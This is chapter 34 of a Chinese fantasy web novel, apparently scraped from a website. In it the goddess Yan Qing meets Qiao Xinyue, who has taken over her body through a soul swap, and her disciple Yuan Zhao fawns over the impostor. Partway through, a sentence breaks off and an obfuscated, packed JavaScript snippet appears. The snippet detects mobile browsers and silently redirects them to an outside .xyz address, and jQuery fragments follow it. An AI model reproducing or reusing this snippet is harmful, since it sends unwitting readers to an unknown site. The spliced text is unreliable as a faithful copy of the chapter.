34.司命殿天女见天女
作品:《司命她又在诱神逆天》 器魂一燃,把闹得沸沸扬扬的疫病彻底烧了个干净。陵阳的百姓全部痊愈,处处生机盎然,恍若疫病不曾来过。
元昭也沾了陵阳的光,意外捡回了一条命。
沈燎跟着钱业去了陵阳后山,一去便是整晚。晏清知情识趣地没有多问,本以为要在陵阳多留几天,却在第二天一早看见了前来敲门的沈燎。
这人银发高束,额间几缕碎发在晨风里微微浮动。整张脸正常得几乎要异常了,晏清一没瞧出眼下疲惫的乌青,二没看见半分临别不舍的神情,那双墨色的眸子依旧沉沉,辨不清神色。
当事人这副云淡风轻的模样让晏清决定立刻回神界——毕竟天女殿里的温泉池实在深得她心。只是回神界后晏清近几日都不曾见到沈燎,她方才整理陵阳疫病资料时突然鬼使神差地想:
“当了神罚使便真的会淡漠情感?”
她还在疑心要不要在陵阳多留几天,毕竟那些经年的记忆不似作假,接踵而至的回忆就算是神明也需要时间消化。
反而沈燎不痛不痒,仿佛落在他身上的不过是一片在平常不过的叶,并非沾染了故人魂魄的血。
思绪被一阵吵闹的兽崽声音打断,那灵鉴浑身泛着红光,一蹦一跳地大叫着吓了晏清一个激灵:
“大司命传讯!天女殿下可否有空去司命殿一叙?”兽崽夹着嗓子阴阳怪气,它分明知道晏熹禾才是真正的大司命,嬉笑着爬到她肩头比了个鬼脸:
“咦,为何这传讯还特意补了个署款?乔歆悦……?”
“乔歆悦?”晏清一愣,“真正的‘天女’,不是叫……晏清吗?”
是她亲笔写下的“海晏河清,人如其名”,天命篆上亲笔落下的名讳不可能修改,莫非……这人在刻意告诉自己,她不是所谓的“天女”?
这是刚醒过来就要立明身份,给个下马威不成?
晏清蹙眉,神界今日云海翻涌得格外凶,她的思绪也九转了百回。天女殿和司命殿距离不近,一者在神界几近中央,去哪都格外方便;而另一者不过一处小偏殿,但好在晏熹禾素来也喜清静。
她一路上想明了数种应对方法,最终司命殿下实在懒得和脑子里不断冒出的思绪斗争,当机立断:能谈好好谈,谈不明白干脆一棍子敲晕了让乔歆悦再睡几个月——反正打的也是自己的身体。
等她查明了魂穿原因直接换回去便是——毕竟她还替乔歆悦抗了天劫,这所谓的“天女”无痛飞升得了神格,还有什么不满的。晏清想着,方到司命殿却听闻内里传来了几声清脆的笑声。
元清知?
这二傻子疫病方好,又迫不及待干什么混账事了?
司命殿此刻灯火通明,烛火把元昭谄媚的笑脸映得锃亮,他半跪在白玉摇椅旁,手里的孔雀羽扇几乎摇出残影,声音也柔和得不成样子:
“师父您尝尝我昨日去采来的冰镇仙露,特意加了师父最爱的桂花蜜,足足用小火熬了七七四十九个时辰……”
“师父你热吗,这扇子如何?”
“师父师父,少司禄前些日子给我送了梨花酥,特别甜,您要是想吃我这就拿来……”
那摇椅里的人被元昭身形挡了大半,晏清只见一只颇为纤细的手拿起了元昭端着的玉盏,不一会传来女子的笑声:“不错。”
灵鉴从梁上垂下半截竹简:“检测到史诗级马屁现场!”只见它头顶“狗腿之王”称号,拉着嗓子尖叫:“少司命的职场生存指南——论如何优雅地抱错大腿!”
他们两闹上这么一出,好好的司命殿愣是变得像那亡国之君日日笙歌的荒唐后宫。
晏清额间跳了又跳:“……元昭。”
少年身形诡异一顿,手指一颤,回头看清来人后羽扇“啪嗒”一声砸在了空旷的殿中:“师……师父?”
随即他立刻跳出二丈远,见鬼一般指着摇椅上的人,尾音都带了颤:“你!你、你是谁?既不是我师父,不会解释吗?居心何在!”
“狗咬狗的戏码,”灵鉴咂嘴,“爱看。多演。”
晏清冷冷瞥了他一眼,少年委屈巴巴地收起了浑身的刺,乖乖站在摇椅旁不说话了。
他这人就爱捣鼓点吃食,什么栗子酥,什么雪梨茶,什么桂花蜜全是自己闲时琢磨的,天天端着兴致勃勃去骚扰大司命。奈何晏清本人口腹之欲实在少得可怜,心情好了就搭理他一下,但多数时候元昭根本找不到她人,遂碰了一鼻子灰。
傻孩子估计到老的那天都觉得是自己做的不好吃。但偏偏元昭还乐此不疲——今天好不容易遇到了个愿意赏脸的大司命,一时喜难自禁,愣是没看出此人压根不是晏熹禾。
摇椅里的人闻声一笑,她笑声很轻,似乎根本不屑和元昭辩驳。她从摇椅里起身,一席黑袍干练又飒爽,黑发高束起:
“小徒弟翻脸这么快啊,方才一口一个师父不是叫的可开心了?”
元昭气得险些破口大骂——奈何人间修真世家从小只教他各种礼仪礼法,并未指导如何骂人。于是少年憋了半天只把自己憋得炸了毛,只有破口没有大骂:“你!你是不是自己心里清楚!”
晏清:“……”好精致的骂人方式。
乔歆悦被逗得轻笑一声:“司命殿下你这徒弟好生有趣。”
“在下姓乔名巧,字歆悦,殿下日后唤我歆悦便好。先谢过殿下先前渡的灵力。”
这人说话时眼角眉梢都含着笑意,晏熹禾第一次在别人的身体上看自己的脸,怎么看怎么奇怪,只不动声色颔首示意:
“晏熹禾。”
神界一般取名都是由师父取的,奈何他上任时前任司命已经退职,跟她也算不上师徒关系。而神明之间一般都直呼其职不会唤名更很少唤字,所以晏熹禾没有名倒也不是什么太大的阻碍——
更别提她天天偷懒摸鱼,哪还有与别的神明接触的机会。司命殿的事除了特别重要的加急事件,一般落不到她头上。
晏熹禾之前问过自己在人间的老道士师父为何不给自己取个名,那道士笑嘻嘻的看着她说以后自然会有的。
但是那人的不靠谱程度恕她实在不敢恭维。
“殿下近些日子可否查明魂穿一事?”乔巧朝着晏清眨了眨眼,一双内勾外翘的眼本该凌厉,现下却无端多了几分机巧。
晏熹禾与乔歆悦的长相简直就是截然不同的两个极端,一者温柔灵巧,一者则凌冽巍然。
她本人骨骼感鲜明,侧脸线条分明,仿佛经塑匠刻意雕琢一般,透着一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15631342|167790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不妥协的锐气。双眉浓黑飞扬,眉峰陡峭如剑,眉尾凌厉地斜插入鬓。那双眼尤其狭长,内眼角尖锐如刃,眼尾微微上挑,瞳色深邃。
而此刻乔巧占着她的身体甜甜的笑,元昭简直要看出鸡皮疙瘩了。
“暂时还未查明原因,乔……歆悦,”晏清顿了顿,“你的名字不是晏清吗?”
“这名字谁爱叫谁叫,我乔歆悦行得正坐得端,平白无故改什么名,”那女子抱着双臂,满脸不屑:
“云隐村一夜之间所有人都莫名其妙开始叫我晏清,哎我就纳闷了,从小到大我分明只有乔巧这一个名字,这群人简直和得了失心疯一样。”
晏清蹙眉。命运线何时有了可以篡改人记忆的能力?
她写下的天命篆分明是给未入轮回的魂魄书写一生的轨迹,那魂魄自投胎伊始姓晏名清,然后一点点成长为天女——可现在看来并非如此,命运线为何会……将一个本已有自己名字的人,直接改名为晏清?
魂魄并未如轮回不说,命运线走向也越发诡异。晏清蹙眉思忖不语,乔巧突然道:“殿下不必担心,天女的身份你随意用,查明了换回来便是。”
她伸了个懒腰,径直坐在了晏清的白玉摇椅上:“对了,大司命有什么活要干吗?”
晏清一时语塞,元昭见缝插针,势必要把乔巧先前捉弄他的恶气出掉:“大司命的活你干不了!你有平白占着师父的身体的功夫不如想想怎么换回来!”
乔巧挑眉一笑,元昭哪见过晏熹禾的脸上有这般动作,一时被她笑得发毛。这人连声音也带着锐气:“但我有个条件。”
晏清抬眸,眼尾垂顺但气势分毫不输,她冷嗤一声:“本殿作何要答应你?”
乔歆悦话里话外分明意有所指,主见分明,晏清才不信她是什么手无缚鸡之力之辈。虽然她也不曾弄明为何命运线偏偏选中了乔巧,但防人之心不可无。
真要让天君知晓天女其实就是司命,早就看穿了他的意图——晏熹禾可没有在诛神柱上被钉成骷髅的喜好。
乔巧莞尔:“殿下,我没有干涉神明私事的兴趣,只是初来神界什么都不懂,和您借个人不过分吧?”
晏清挑眉。
“魂穿期间我会待在司命殿,但总得留个人告诉我应该做些什么吧。”乔巧话落还眨了眨眼,楞是把晏熹禾那弧度上扬似弯刃的眼睛眨巴出了几分乖。
“司命殿没什么别的事需要你上心,元昭会处理妥当,如果有什么要事叫他传讯便是。本殿会尽快查明魂穿原因。”
闻言晏清看向元昭挽唇:“清知,陪着歆悦。”
大家都是明白人——大司命此人要钱没有,要命更是没有,但若是要徒弟……她会马不停蹄立刻双手奉上。
正好她也需要有个人看着乔巧。
元昭:“?”
“师父我……”少年黑眸亮晶晶得像是黑曜石,极其不愿意的出声挽留,却被晏清一个眼刀直接回绝。
他垂头丧气的咽回了后半句话,拧着眉头恶狠狠瞪向一旁白玉摇椅里的人,却见那人巧笑嫣然,音似琴瑟,纤细凝白的手朝他挥了挥:
“清知小徒弟,何时再叫声师父听听?”
话里全然是揶揄的笑意。